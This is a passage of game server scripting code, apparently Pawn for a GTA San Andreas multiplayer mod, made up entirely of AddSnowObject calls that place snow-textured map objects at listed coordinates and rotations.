	AddSnowObject(4033, 1721.87500, -1643.05468, 12.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4001, 1700.47656, -1517.69531, 17.93750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4000, 1787.13281, -1565.67968, 11.96875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3998, 1734.30468, -1560.71093, 18.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4125, 1769.51562, -1509.48437, 12.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4154, 1706.21093, -1432.35156, 12.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4645, 1605.72656, -1370.82812, 15.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4557, 1714.74218, -1350.87500, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4590, 1780.00000, -1360.00000, 12.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5498, 1849.32812, -1373.39843, 12.48437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5390, 1919.52343, -1400.89843, 16.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3995, 1797.16406, -1464.39062, 7.99218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4110, 1807.46093, -1475.98437, 8.53125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5439, 1887.79687, -1536.60156, 7.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5474, 1931.64843, -1577.57031, 12.35937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5501, 1884.66406, -1613.42187, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5502, 1822.89062, -1725.25781, 12.46875, 0.00000, 0.00000, 270.00000);
	AddSnowObject(5503, 1927.70312, -1754.31250, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4027, 1783.10156, -1702.30468, 14.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3984, 1783.10156, -1647.31250, 23.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4012, 1777.43750, -1782.30468, 12.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5441, 1941.65625, -1682.57031, 12.47656, 0.00000, 0.00000, 270.00000);
	AddSnowObject(5412, 1971.65625, -1682.31250, 13.74218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5407, 2041.64843, -1682.18750, 12.57031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5505, 2002.48437, -1700.98437, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5507, 2041.66406, -1672.31250, 12.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5442, 2041.72656, -1752.31250, 12.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5518, 2137.98437, -1672.55468, 12.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5504, 2046.00000, -1613.00000, 12.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5512, 2069.92187, -1535.78125, 10.49218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5471, 2088.10937, -1568.11718, 11.05468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5472, 2117.29687, -1541.57812, 23.53906, 0.00000, 0.00000, 270.00000);
	AddSnowObject(5391, 2148.80468, -1627.12500, 13.42968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5519, 2159.81250, -1595.92187, 12.89062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5438, 2222.67187, -1462.91406, 22.78906, 0.00000, 0.00000, 270.00000);
	AddSnowObject(17509, 2511.75781, -1544.31250, 18.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17505, 2339.78906, -1583.99218, 12.76562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17877, 2374.30468, -1640.43750, 12.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5429, 2244.69531, -1518.75000, 22.23437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17625, 2315.35937, -1444.20312, 22.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17563, 2307.92187, -1434.03906, 21.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17637, 2391.17968, -1414.32812, 22.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17636, 2411.16406, -1402.88281, 28.01562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17645, 2481.21875, -1350.49218, 27.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17644, 2511.76562, -1349.52343, 30.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17634, 2411.02343, -1301.75000, 25.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17642, 2411.08593, -1235.32812, 27.80468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17635, 2411.02343, -1352.10156, 23.70312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17630, 2371.07812, -1216.36718, 24.71093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17628, 2371.08593, -1320.45312, 22.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17633, 2337.21875, -1228.52343, 24.74218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17976, 2414.39843, -1362.20312, 32.60156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17643, 2451.01562, -1230.28906, 29.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17646, 2511.00000, -1256.60156, 33.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17641, 2454.60156, -1350.46093, 22.82812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17627, 2347.67187, -1384.31250, 22.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17545, 2337.17968, -1342.62500, 23.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17626, 2303.43750, -1338.03906, 22.98437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5674, 2286.37500, -1371.27343, 22.95312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5428, 2252.00000, -1434.14062, 23.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5494, 2263.21093, -1368.70312, 22.92968, 0.00000, 0.00000, 270.00000);
	AddSnowObject(5426, 2218.89062, -1342.55468, 25.24218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5437, 2155.00000, -1382.00000, 23.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5427, 2170.97656, -1461.12500, 25.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5496, 2120.00000, -1440.00000, 23.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5497, 2060.19531, -1463.40625, 18.94531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5402, 2049.86718, -1400.89062, 20.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5495, 2066.00000, -1358.00000, 23.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5425, 2116.32031, -1342.85937, 26.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5492, 2168.21093, -1300.80468, 22.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5477, 2287.09375, -1217.65625, 24.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17632, 2307.52343, -1225.10156, 23.80468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5490, 2269.78125, -1224.53125, 24.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5491, 2171.39062, -1220.82031, 22.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5424, 2218.89062, -1260.81250, 24.28906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5493, 2169.97656, -1260.46093, 22.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5482, 2172.57031, -1171.20312, 23.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5459, 2123.93750, -1159.00000, 24.16406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5406, 2223.26562, -1202.18750, 27.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5650, 2213.50000, -1124.90625, 24.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5413, 2222.99218, -1162.60156, 30.03906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5423, 2121.10156, -1260.87500, 26.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5435, 2069.36718, -1260.99218, 22.89843, 0.00000, 0.00000, 90.00000);
	AddSnowObject(5434, 1946.82812, -1260.90625, 17.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5499, 1944.00000, -1341.00000, 18.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5487, 1972.60937, -1198.31250, 23.97656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5458, 1995.01562, -1198.35156, 21.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5483, 2069.29687, -1149.20312, 22.94531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5432, 2110.09375, -1098.80468, 23.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5485, 1950.59375, -1135.88281, 24.02343, 0.00000, 0.00000, 180.00000);
	AddSnowObject(5486, 2005.50000, -1081.30468, 24.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5443, 2019.40625, -1107.13281, 24.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5481, 2023.25781, -1034.48437, 29.12500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5445, 2105.96093, -1038.55468, 40.41406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5444, 2143.05468, -1048.40625, 48.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5453, 2179.78906, -1082.48437, 42.72656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5446, 2086.29687, -1077.07812, 29.05468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5484, 2190.58593, -1063.07031, 45.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5452, 2258.35937, -1099.41406, 39.99218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5456, 2185.09375, -1013.21093, 59.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5642, 2229.60937, -1063.46875, 46.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5643, 2202.56250, -1041.62500, 58.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13706, 2372.03125, -1056.34375, 57.03906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13823, 2284.00781, -929.46875, 88.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5451, 2256.03125, -1019.92187, 59.38281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13795, 2422.11718, -1093.34375, 48.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17631, 2336.93750, -1153.14062, 26.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17669, 2378.03125, -1110.17187, 33.61718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17906, 2440.30468, -1120.25000, 43.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17670, 2463.75000, -1151.64843, 34.96875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17647, 2420.95312, -1179.13281, 31.01562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17678, 2506.88281, -1167.06250, 46.24218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17648, 2511.03906, -1184.53906, 48.20312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17892, 2511.02343, -1220.26562, 42.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17893, 2553.97656, -1205.13281, 60.65625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17894, 2524.44531, -1205.61718, 56.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17651, 2636.89062, -1184.08593, 64.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17650, 2570.89843, -1230.30468, 52.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17652, 2646.79687, -1257.00000, 51.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17649, 2571.00000, -1350.40625, 33.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17679, 2540.82812, -1350.58593, 40.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17681, 2682.64843, -1456.39843, 29.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17653, 2642.78906, -1350.25781, 39.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17666, 2642.67187, -1217.78125, 58.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17658, 2730.13281, -1445.92187, 32.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17608, 2806.30468, -1488.45312, 19.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17556, 2804.71093, -1451.60937, 19.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17561, 2769.53125, -1446.67187, 22.06250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17683, 2866.69531, -1355.90625, 15.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17674, 2903.42968, -1336.88281, 9.97656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17676, 2928.05468, -1298.13281, 8.16406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17660, 2825.99218, -1386.36718, 15.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17685, 2810.67187, -1263.75000, 39.12500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17589, 2801.78125, -1392.64062, 20.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17661, 2796.89062, -1323.23437, 32.82812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17673, 2882.54687, -1146.64062, 10.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17684, 2847.09375, -1148.80468, 16.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17659, 2729.00000, -1330.70312, 47.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17663, 2730.19531, -1220.90625, 63.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17662, 2777.29687, -1259.00000, 52.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17664, 2685.25781, -1220.95312, 59.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17671, 2633.64843, -1152.68750, 47.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17696, 2690.39062, -1154.14062, 56.71093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17677, 2587.65625, -1101.25781, 56.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17849, 2642.73437, -1086.32031, 66.02343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17667, 2642.71875, -1164.50000, 59.16406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17693, 2730.23437, -1117.64843, 64.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17691, 2778.79687, -1099.79687, 41.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17672, 2789.42187, -1144.94531, 29.95312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13810, 2948.41406, -951.76562, -28.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13708, 2778.64843, -930.35156, 39.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13709, 2856.43750, -930.17968, 16.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13809, 2734.87500, -917.96093, 47.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13497, 2870.02343, -662.57812, 26.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13121, 2870.02343, -662.57812, 26.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12877, 2870.77343, -677.79687, 10.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13120, 2629.58593, -662.28906, 89.49218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13156, 2379.60156, -670.41406, 112.02343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13123, 2631.27343, -415.71875, 54.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13134, 2372.07031, -407.32812, 73.57031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13710, 2523.76562, -915.31250, 85.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13707, 2563.92187, -1047.17187, 68.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17692, 2681.78125, -1078.75000, 68.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17694, 2704.28906, -1095.78906, 62.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17668, 2506.70312, -1079.83593, 54.94531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13122, 2862.23437, -413.64062, -4.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12878, 2807.10937, -480.72656, 16.26562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12974, 2793.53125, -447.35937, 18.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12876, 2815.46875, -278.23437, 10.93750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12879, 2732.03906, -231.38281, 29.75781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13824, 2039.82031, -904.82031, 79.06250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13157, 2148.91406, -662.00000, 90.57031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13158, 1941.59375, -686.10156, 75.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13825, 1826.08593, -882.76562, 75.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5433, 2044.59375, -1007.20312, 38.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5448, 2068.20312, -965.95312, 47.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5656, 2046.64843, -1009.96875, 40.89062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4695, 1898.47656, -1016.67968, 29.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5431, 1914.17968, -1073.31250, 23.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5668, 1928.90625, -1026.75781, 28.71875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5457, 1923.60937, -1088.34375, 24.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5640, 1914.03125, -1198.32812, 19.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5488, 1852.26562, -1196.06250, 20.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4700, 1807.28125, -1049.87500, 23.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4604, 1757.00781, -1127.25781, 23.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4658, 1810.93750, -1001.45312, 34.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4692, 1702.95312, -1031.42968, 39.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4701, 1722.28906, -1043.25000, 23.01562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4595, 1634.42968, -1115.53125, 23.03125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4702, 1647.33593, -1033.16406, 22.99218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4666, 1614.67968, -1024.67968, 42.78125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4653, 1661.97656, -910.81250, 46.05468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4664, 1643.16406, -1128.23437, 41.56250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4662, 1624.82031, -1229.85937, 34.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4656, 1693.95312, -766.04687, 50.00781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13826, 1805.02343, -699.98437, 69.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13672, 1700.89062, -556.53906, 38.35937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13723, 1496.91406, -790.91406, 48.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13821, 1530.92187, -532.64062, 62.98437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13751, 1650.02343, -559.67187, 42.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13820, 1701.62500, -489.19531, 59.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13502, 1935.17968, -526.87500, 51.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13146, 1935.17968, -526.87500, 51.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13719, 1437.55468, -669.28906, 86.81250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13673, 1284.30468, -677.42187, 81.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13674, 1411.90625, -562.96875, 67.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13818, 1317.85937, -474.10156, 52.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13323, 1245.20312, -430.53906, 22.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13237, 1148.69531, -528.16406, 57.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13752, 1210.70312, -625.61718, 78.71093, 0.00000, 0.00000, 10.44999);
	AddSnowObject(13720, 1192.34375, -669.16406, 52.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4660, 1507.78125, -966.94531, 33.83593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4703, 1569.92187, -1041.07812, 22.97656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13882, 1376.50000, -788.78906, 67.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4694, 1425.03906, -947.82812, 34.28125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5803, 1376.42968, -912.18750, 36.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13756, 1349.29687, -809.14062, 68.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13801, 1341.02343, -839.93750, 58.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13757, 1250.80468, -833.01562, 63.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5845, 1323.66406, -884.63281, 36.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5851, 1323.66406, -884.63281, 36.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5744, 1268.44531, -935.32031, 37.70312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13715, 1041.32031, -707.45312, 90.02343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13718, 1063.58593, -626.98437, 112.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13528, 1138.66406, -311.89062, 38.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13212, 1138.66406, -311.89062, 38.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13324, 979.50781, -500.17968, 33.12500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13213, 896.94531, -285.84375, 22.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13214, 871.25781, -411.43750, 38.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13236, 953.02343, -569.69531, 68.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13211, 594.83593, -299.83593, 6.28125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13129, 786.71093, -539.52343, 15.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12999, 681.71093, -574.88281, 15.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3316, 769.21875, -558.86718, 18.67187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3315, 750.86718, -594.17968, 16.32812, 0.00000, 0.00000, 270.00000);
	AddSnowObject(3317, 744.21875, -558.86718, 18.67187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3314, 740.15625, -500.96875, 16.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3317, 769.20312, -501.39843, 18.67187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3353, 798.24218, -500.96875, 16.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3314, 815.15625, -500.96875, 16.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12998, 811.71875, -580.96875, 15.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12981, 857.21093, -609.96875, 17.41406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13531, 797.70312, -707.14062, 64.24218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13235, 797.70312, -707.14062, 64.24218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13845, 667.54687, -853.20312, 52.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13704, 653.58593, -841.35156, 39.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13730, 767.57031, -927.32812, 48.36718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13702, 696.50781, -849.16406, 54.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13726, 809.36718, -778.78125, 80.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12976, 681.47656, -459.00000, 15.53125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13001, 701.06250, -507.64062, 15.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13127, 631.71093, -507.64062, 15.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13000, 563.56250, -438.88281, 36.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12989, 536.89062, -578.04687, 32.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13128, 640.57031, -660.17968, 12.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12855, 622.94531, -577.06250, 21.81250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12971, 548.76562, -626.98437, 26.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13370, 543.13281, -807.58593, 52.84375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13371, 422.06250, -782.47656, 42.61718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13021, 387.11718, -941.69531, 51.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12864, 183.82812, -697.42968, 24.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13019, 141.58593, -858.93750, 5.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12973, 421.21093, -570.23437, 37.92187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13020, 317.19531, -869.16406, 33.00781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13342, 133.44531, -655.82812, 14.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12970, 310.78906, -591.55468, 33.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13017, 155.79687, -1140.15625, 6.23437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13683, 339.72656, -1086.42968, 73.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13871, 415.52343, -1080.00000, 76.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13789, 191.51562, -1207.74218, 52.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13692, 252.23437, -1211.92968, 64.96093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13685, 428.91406, -1103.67187, 77.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13735, 313.93750, -1203.23437, 74.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13678, 223.12500, -1150.96875, 64.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13736, 239.78906, -1283.89843, 61.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13733, 329.53906, -1237.81250, 62.83593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13679, 269.46875, -1271.35937, 70.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13738, 319.97656, -1289.57031, 52.48437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13734, 366.11718, -1226.23437, 58.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13732, 449.83593, -1233.48437, 33.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13684, 495.02343, -1153.19531, 62.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13742, 508.64062, -1244.42968, 40.16406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6509, 529.00781, -1268.35937, 15.51562, 0.00000, 0.00000, 39.00000);
	AddSnowObject(6327, 377.28909, -1362.66406, 13.58593, 0.00000, 0.00000, 30.10199);
	AddSnowObject(6330, 525.21093, -1443.21875, 14.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13741, 332.99218, -1331.38281, 32.97656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6356, 381.28125, -1323.17187, 24.49218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6328, 294.97656, -1366.74218, 18.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13691, 258.95309, -1366.19531, 62.80468, 0.00000, 0.00000, 38.38000);
	AddSnowObject(13740, 179.30468, -1448.42968, 28.01562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6326, 207.59375, -1484.50781, 11.90625, 0.00000, 0.00000, 207.04595);
	AddSnowObject(6497, 227.78906, -1423.03125, 18.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13737, 252.86718, -1288.48437, 64.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13739, 216.09375, -1361.97656, 49.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13690, 135.64062, -1455.68750, 25.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13675, 116.01563, -1393.33593, 24.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6325, 128.12500, -1551.03125, 8.20312, 0.00000, 0.00000, 352.20999);
